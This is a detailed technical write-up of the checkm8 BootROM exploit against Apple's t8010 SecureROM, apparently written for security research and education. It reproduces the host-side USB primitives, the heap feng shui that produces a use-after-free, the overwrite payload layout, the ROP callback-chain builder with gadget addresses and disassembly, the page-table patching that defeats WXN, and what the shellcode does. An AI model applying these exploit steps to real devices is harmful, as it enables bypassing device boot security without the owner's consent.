The host sends a SETUP packet, then sends an IN token and cuts off straight away, causing the DWC EP0 IN itself to be stalled (not the STALL state inside SecureROM), and now the DWC does not send IN data to the host but sends NAK. SecureROM tries to send but the DWC does not, creating no hardware interrupt, so the io_request in the queue (currently the head) stays there and the io_requests behind it in the queue are stuck too, because EP0 only processes the 1 io_request at the head.
The host can send more SETUP packets, allocate more io_requests and insert them at the tail of the queue. The free is delayed until we create the software completion that causes the ZLP leak the way we want. The goal is to create a small hole that fits the new io_buffer exactly.
The three host-side primitives in checkm8.py:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
def usb_req_stall(device): libusb1_no_error_ctrl_transfer(device, 0x2, 3, 0x0, 0x80, 0x0, 10)
def usb_req_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40, 1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41, 1)usb_req_stall is a SET_FEATURE (bRequest = 3) ENDPOINT_HALT sent to endpoint 0x80, only to force the DWC to hold EP0 IN in the stall state. stall, leak, no_leak, usb_req_leak and usb_req_no_leak are all GET_DESCRIPTOR (bRequest = 6) string descriptor index 4 = the serial number, the longest descriptor the device has (of the form CPID:8010 CPRV:... ECID:... IBFL:... SRTG:[iBoot-2696.0.0.1.33], whose real length varies with each machine’s ECID, but it is always much longer than every wLength the exploit uses). io_length = min(wLength, length):
wLength=0xC0or0x40->io_lengthis divisible by0x40.wLength=0xC1or0x41->io_lengthis odd, not divisible by0x40.
wValue = 0x304 whose high byte 0x3 = USB_DT_STRING, low byte 0x4 = string index 4. wIndex = 0x40A is the langid.
The callback only sends a ZLP when io_length != 0, (io_length & 0x3F) == 0 AND setupRequest.wLength > io_length. But setupRequest is global, overwritten by EVERY new setup packet. no_leak (io_length = 0xC1) produces no ZLP. stall/leak/usb_req_leak (io_length = 0xC0/0x40) on the other hand meet the divisibility condition, and when their callback runs the wLength of the last setup packet (0xC1) > io_length -> ZLP.
stall is the only async request, libusb_submit_transfer then libusb_cancel_transfer after 0.00001s. leak/no_leak are ordinary sync requests with all 3 stages, timeout 1ms. Why the sync requests behind stall get stuck:
- Software (in the ROM):
usb_endpoint_submit_request()only arms DMA for the queue head. A request appended behind it is never started until the head completes. If the head is dead, every request after it just sits waiting in the queue, no stall needed. - Hardware: the
SETUPisACKed by the device, theio_requestgoes into the queue as the head, the host cancels midway to leave the DWCEP0INin the stall state,NAKing everyINtoken. The device returns0bytes for every transaction after the stall.
The heap fengshui creating the hole goes like this:

The image descibes the exact exploit() flow sent to t8010 (config.hole = 5, config.leak = 1):
stall(device) # wLength 0xC0
for i in range(config.hole): # 5 times
no_leak(device) # wLength 0xC1
usb_req_leak(device) # wLength 0x40
no_leak(device) # wLength 0xC1
dfu.usb_reset(device)- 8 setup requests -> 8
io_requests, each one amalloc(0x30)-> a0x80block, allocated back to back so they sit next to each other. All of them are stuck in the active queue because the head has stalled. usb_resetcauses a software completion, draining them one by one in queue order. The condition for producing a ZLP isio_length != 0 && (io_length & 0x3F) == 0 && setupRequest.wLength > io_length.- Only
stall(io_length0xC0) andusb_req_leak(io_length0x40) are divisible by0x40. And because the last packet,no_leak, wrotesetupRequest.wLength=0xC1into the global,0xC1 > io_lengthholds for both of them too -> each produces 1 ZLP. - All 8
io_requests are freed, but the 2 ZLPs have their queue pointers bzeroed away byusb_endpoint_abort_and_clear_state()-> they survive.
The hole skews the allocation of io_buffer to a different position, so that an allocated io_request lands in the stale buffer -> a UAF write to control the io_request.
Overwrite usb_device_io_request
usb_req_stall(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100)usb_req_stall sends SET_FEATURE to endpoint 0x80 and makes the DWC hold EP0 IN in the STALL state. usb_req_leak sends GET_DESCRIPTOR for string index 4 with wLength 0x40, creating an io_request that is held in the active queue. config.overwrite has padding up to stale + 0x580, then the data to overwrite the request’s fields.
t8010_overwrite = '\0' * 0x580 + struct.pack('<32x2Q16x32x2QI', t8010_nop_gadget, 0x1800B0800, t8010_nop_gadget, 0x1800B0800, 0xbeefbeef)| offset in the stale buffer | payload |
|---|---|
+0x580 .. +0x59F | 0 (32x) |
+0x5A0 | nop_gadget |
+0x5A8 | 0x1800B0800 |
+0x5B0 .. +0x5DF | 0 (16x + 32x) |
+0x5E0 | nop_gadget |
+0x5E8 | 0x1800B0800 |
+0x5F0 | 0xbeefbeef |
In usb_device_io_request the callback is at offset 0x20 and next at 0x28. So the pair {nop_gadget, 0x1800B0800} is the {callback, next} of an io_request starting at stale + 0x5A0. The second pair writes an io_request the same way, starting at stale + 0x5E0, spreading the same pattern at two positions 0x40 apart so the request has a chance of landing in one.
The setup packet of this transfer (bmRequestType 0, bRequest 0) is a request SecureROM does not support, so it falls through to usb_core_stall_ep0() and no new data phase is set up. The data stage still arrives and is written through the dangling ep0DataPhaseBuffer. ep0DataPhaseInterfaceNum is stale too, so usb_dfu_handle_data_phase() does get called afterwards, but it returns at the first check that is dfuExpectingLength is 0x800, left over from the unfinished DFU_DNLOAD that triggered the UAF, while only 0x5F4 arrived. It sets dfuStatus 9 and dfuState 10 (dfuERROR) and doesn’t copy anything into imageBuffer.
The payload goes the normal path instead, as valid DFU_DNLOAD chunks:
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)After the payload has been placed into INSECURE_MEMORY, usb_reset triggers the software completion and drains the requests that were prepared:
dfu.usb_reset(device)The 3 descriptors of the temporary table (ROM, SRAM, alias) in the payload, which once the device has received them sit at the absolute address 0x1800B0000:
| offset | absolute address | size | content |
|---|---|---|---|
0x000 | 0x1800B0000 | 0x400 | shellcode + handler |
0x400 | 0x1800B0400 | 0x008 | entry ROM, 0x1000006A5 |
0x408 | 0x1800B0408 | 0x1F8 | pad |
0x600 | 0x1800B0600 | 0x008 | entry SRAM, 0x60000180000625 |
0x608 | 0x1800B0608 | 0x008 | entry alias, 0x1800006A5 |
0x610 | 0x1800B0610 | 0x1F0 | stub disable_wxn |
0x800 | 0x1800B0800 | 0x020 | pad |
0x820 | 0x1800B0820 | … | callback_data |
Callback chain
The payload just sent sits in INSECURE_MEMORY, that is SRAM, and SecureROM maps this region as RW. Meanwhile SCTLR_EL1 has the WXN bit (bit 19, 0x80000) turned on. Which means it is impossible to jump straight into the shellcode even with control flow in hand.
The callback chain turns the payload into something executable, and only then jumps into it:
SCTLR_EL1- the system control register. The relevant bits:M(0x1, enables the MMU),C(0x4, data cache),SA(0x8, stack alignment check),I(0x1000, instruction cache),WXN(0x80000). The value the chain writes is0x100D=I | SA | C | M- keeping the MMU and the caches, droppingWXN.TTBR0_EL1- the pointer to the active page table.TLBI- clears the address translations the CPU has cached.DC CIVAC- pushes the descriptor just written from the data cache down to memory.
usb_rop_callbacks() does not write the target gadget into the callback field, it writes func_gadget.
def usb_rop_callbacks(address, func_gadget, callbacks):
data = ''
for i in range(0, len(callbacks), 5):
block1 = ''
block2 = ''
for j in range(5):
address += 0x10
if j == 4:
address += 0x50
if i + j < len(callbacks) - 1:
block1 += struct.pack('<2Q', func_gadget, address)
block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
elif i + j == len(callbacks) - 1:
block1 += struct.pack('<2Q', func_gadget, 0)
block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
else:
block1 += struct.pack('<2Q', 0, 0)
data += block1 + block2
return dataCalled as usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks). The nodes overlap each other, the stride is only 0x10, because only the 4 fields the drain loop touches carry meaning. Node j sits at 0x1800B0800 + 0x10*j:
| offset | field | value |
|---|---|---|
+0x20 | callback | always func_gadget, exactly the same at every node |
+0x28 | next | the next node, the last node = 0 to end the drain |
+0x70 | - | the arg of the real gadget |
+0x78 | - | the real gadget (dc_civac / tlbi / write_ttbr0 / … / shellcode) |
func_gadget takes the arg and the function from block2, puts the arg into X0 and calls the function:
; func_gadget @ 0x10000CC4C
LDP X8, X10, [X0,#0x70]
LSL W2, W2, W9
MOV X0, X8
BLR X10
CMP W0, #0
CSEL W0, W0, W19, LTX0 at this point is the pointer to the fake node (the drain loop passes the request as the argument), so LDP X8, X10, [X0,#0x70] fetches exactly the {arg, func} pair. Once the call is done, the flow runs straight on into the epilogue, which is nop_gadget (see below).
The fake node sits in the payload, but not a valid allocation. If usb_core_complete_endpoint_io runs as far as free(req), the allocator receives a pointer with no valid header and panics. We have to get out of the callback without touching free.
Looking at usb_core_complete_endpoint_io in the disassembly:
; usb_core_complete_endpoint_io @ 0x10000DC68
STP X20, X19, [SP,#-0x10]!
STP X29, X30, [SP,#0x10]
ADD X29, SP, #0x10
MOV X19, X0
LDR X8, [X19,#0x20] ; callback
CBZ X8, loc_10000DC88
MOV X0, X19
BLR X8 ; callback(request)
MOV X0, X19
LDP X29, X30, [SP,#0x10]
LDP X20, X19, [SP],#0x20
B sub_10000F1B0 ; tail-call free(req)freeis called with a tail-callB, notBL. It comes after the frame has already been torn down. So an earlyRETis all it takes to skip it.nop_gadgetis the epilogue of the function containingfunc_gadget:
; nop_gadget @ 0x10000CC6C
LDP X29, X30, [SP,#0x10]
LDP X20, X19, [SP],#0x20
RETWhen BLR X8 jumps to nop_gadget, SP is still on the frame of usb_core_complete_endpoint_io. The two LDP instructions restore exactly the X29/X30/X20/X19 that the function had saved - X30 being the return address into the drain loop.
And because usb_ep_complete_io reads next = request->next before calling usb_core_complete_endpoint_io, the drain loop still has the pointer to the next node ready to carry on.
Page table
A page table is a region of memory that the MMU reads to translate a VA into a PA. In SecureROM, TTBR0_EL1 points to the active table. Each 8 byte entry in the table is called a descriptor, and editing a descriptor means changing the permissions or the mapping of that region. Our goal is to gain a RWX mapping to be able to run the shellcode.
The MMU goes through several levels to translate a VA, level 0 -> 3. The lower the level, the more VA each entry covers (level 0 covers 256TB, level 3 covers exactly 1 physical page). The granule (16KB here) decides how many levels are needed. TTBR0 points at the lowest level that is already enough to cover the whole VA space, not necessarily level 0. SecureROM only uses a 36-bit VA, of which the low 14 bits are the offset within the page and the remaining 22 bits fit exactly 2 levels of 11 bits (a 16KB table / 8 bytes per entry = 2048 entries = 2^11), so TTBR0 points straight at the level 2 table.
An entry has 4 kinds, determined by the low bits:
- Invalid: unused, an access to that VA faults.
- Table descriptor (level
0/1/2): points to a sub-table at the next level, the MMU has to walk on. - Block descriptor (level
1/2): points straight at a large PA region, stopping right here. - Page descriptor (level
3): like a block descriptor, but the smallest unit, exactly one granule.
The SRAM holding the payload has to be writable, because DFU_DNLOAD writes straight into it, and executable as well, to run the shellcode. WXN in SCTLR_EL1 forces every writable region to be treated as XN even when the descriptor does not set XN. Also, at boot the ROM mapped this SRAM region with XN already set in the descriptor (it is used for DMA, not meant for running code), so that entry is not executable whether WXN is on or off, and the descriptor has to be overwritten outright.
Unfortunately, the t8010 has nowhere in the ROM to jump into that writes SCTLR_EL1 directly and disable WXN. Even with a descriptor overwritten clean of XN, a writable VA is still forced to be treated as XN. Therefore we need a second mapping pointing at the same PA, with no write permission so that WXN does not apply, but RX permission, and the shellcode run through that RX mapping to disable WXN while the original RW mapping stays intact for writing.
Either way it is impossible to safely edit the attributes of the very block that holds the running code and the page table itself while it is in use, the ARM architecture requires break-before-make.
So the t8010 needs a temporary table for the CPU to stand on. So we switch to the temporary table, patch the original table, then go back to the original table. We have to go back because the temporary table sits inside INSECURE_MEMORY itself, the region that a later DFU_DNLOAD can overwrite.
The three ROM/SRAM/alias entries below are all block descriptors at level 2. The index is the entry’s ordinal in the table (index = VA / 0x2000000, each entry covering 32MB), and the offset from the start of the table (offset = index * 8).
| offset | index | VA | descriptor | PA | meaning |
|---|---|---|---|---|---|
+0x400 | 0x80 | 0x100000000 | 0x1000006A5 | 0x100000000 | ROM, read-only + execute |
+0x600 | 0xC0 | 0x180000000 | 0x60000180000625 | 0x180000000 | SRAM, read-write, with execute-never |
+0x608 | 0xC1 | 0x182000000 | 0x1800006A5 | 0x180000000 | alias read-only + execute, pointing at the same PA as entry 0xC0 |
The payload sent up by DFU_DNLOAD is the temporary table itself, sitting right at 0x1800B0000.
The t8010 patches the original table at 0x1800A0000 with the STR instruction inside the disable_wxn stub, run through the RX alias. The SRAM entry in the original table is written as 0x180000625, which disables PXN/UXN, so it is executable.
Gadgets
The chain consists of 10 callbacks:
t8010_callbacks = [
(t8010_dc_civac, 0x1800B0600),
(t8010_dmb, 0),
(t8010_enter_critical_section, 0),
(t8010_write_ttbr0, 0x1800B0000),
(t8010_tlbi, 0),
(0x1820B0610, 0),
(t8010_write_ttbr0, 0x1800A0000),
(t8010_tlbi, 0),
(t8010_exit_critical_section, 0),
(0x1800B0000, 0),
]First, the dc_civac gadget flushes the new page table’s descriptor from the data cache to the RAM, and invalidate the cache line before the CPU uses it:
; dc_civac @ 0x10000046C
DC CIVAC, X0
RETdmb guarantees the writes complete in the right order before the table is switched:
; dmb @ 0x100000478
DMB SY
RETenter_critical_section to mask IRQ/FIQ. The temporary table is not a full copy of the original, it only has a few entries and does not map the device MMIO regions such as the interrupt controller that the original table has. Therefore, an interrupt would cause page faults, and we need to avoid that:
; enter_critical_section @ 0x10000A4B8
LDR X9, [X8]
LDR W10, [X9,#0x2C]
ADD W10, W10, #1
STR W10, [X9,#0x2C]
...
B 0x1000004E4Before the B, the function has already torn down the frame and restored X30 to the address of the caller of enter_critical_section.
; @ 0x1000004E4
MSR DAIFSet, #3
ISB
RETMSR DAIFSet, #3 masks IRQ+FIQ, then RETs on exactly the X30 restored above.
write_ttbr0 changes the active page table with X0 points to the temporary table in the payload:
; write_ttbr0 @ 0x1000003E4
MSR TTBR0_EL1, X0
ISB
RETtlbi forces the CPU to drop the old cached translations after each table switch by invalidating the TLB:
; tlbi @ 0x100000434
DSB SY
TLBI VMALLE1
DSB SY
ISB
RETThe disable_wxn stub runs through the RX alias while the temporary table is still active. The stub edits the original page table’s entry so that the payload region has write permission, then sets SCTLR_EL1 to clear WXN:
; t8010_t8011_disable_wxn_arm64, PA 0x1800B0610
MOV X1, #0x180000000
ADD X2, X1, #0xA0000
ADD X1, X1, #0x625
STR X1, [X2,#0x600]
DMB SY
MOV X0, #0x100D
MSR SCTLR_EL1, X0
DSB SY
ISB
RETAfter the stub, the chain calls write_ttbr0 again with the original table, then tlbi once more.
exit_critical_section to restore the interrupt state:
; exit_critical_section @ 0x10000A514
LDR X9, [X8]
LDR W10, [X9,#0x2C]
SUB W10, W10, #1
STR W10, [X9,#0x2C]
...
B 0x1000004F0Exactly like enter_critical_section, this function also tears down the frame and restores X30 before the B.
; @ 0x1000004F0
MSR DAIFClr, #3
ISB
RETMSR DAIFClr, #3 unmasks IRQ+FIQ, then RETs on the restored X30, going straight back to the caller of exit_critical_section.
The last callback is (0x1800B0000, 0), that is func_gadget calling the shellcode directly.
Shellcode
The chain transfers control to the shellcode in the context of the USB task. The shellcode does these 3 things so that DFU keeps working after the exploit:
- Restore the two configuration descriptors that the heap feng shui overwrote, so that the next USB enumerate still succeeds.
- Add
PWND:[checkm8]to the serial number and rebuild the string descriptor to confirm the exploit succeeded. - Install a permanent DFU request handler in SRAM, outside
INSECURE_MEMORY. Since the shellcode is running insideINSECURE_MEMORY, the nextDFU_DNLOADwould overwrite it. So the shellcode copies the handler to a fixed SRAM address that DFU doesn’t touch, then pointsdfuInterface.handle_requestat that.
From then on every DFU request runs through the new handler, which forwards the ordinary ones to the ROM’s original handler and serves the exploit’s own control request, giving the host memory read/write and code execution inside SecureROM.
References
- https://alfiecg.uk/2023/07/21/A-comprehensive-write-up-of-the-checkm8-BootROM-exploit.html
- https://habr.com/en/companies/dsec/articles/472762/
- https://haiyuidesu.github.io/posts/checkm8/
- https://sigreturn.com/blog/ios-chain-of-trust/
- https://re.alisa.sh/notes/iBoot-address-space.html
- https://youtu.be/SVUrFlwP-t0
- https://papers.put.as/papers/ios/2019/LucaPOC.pdf
- https://github.com/axi0mX/ipwndfu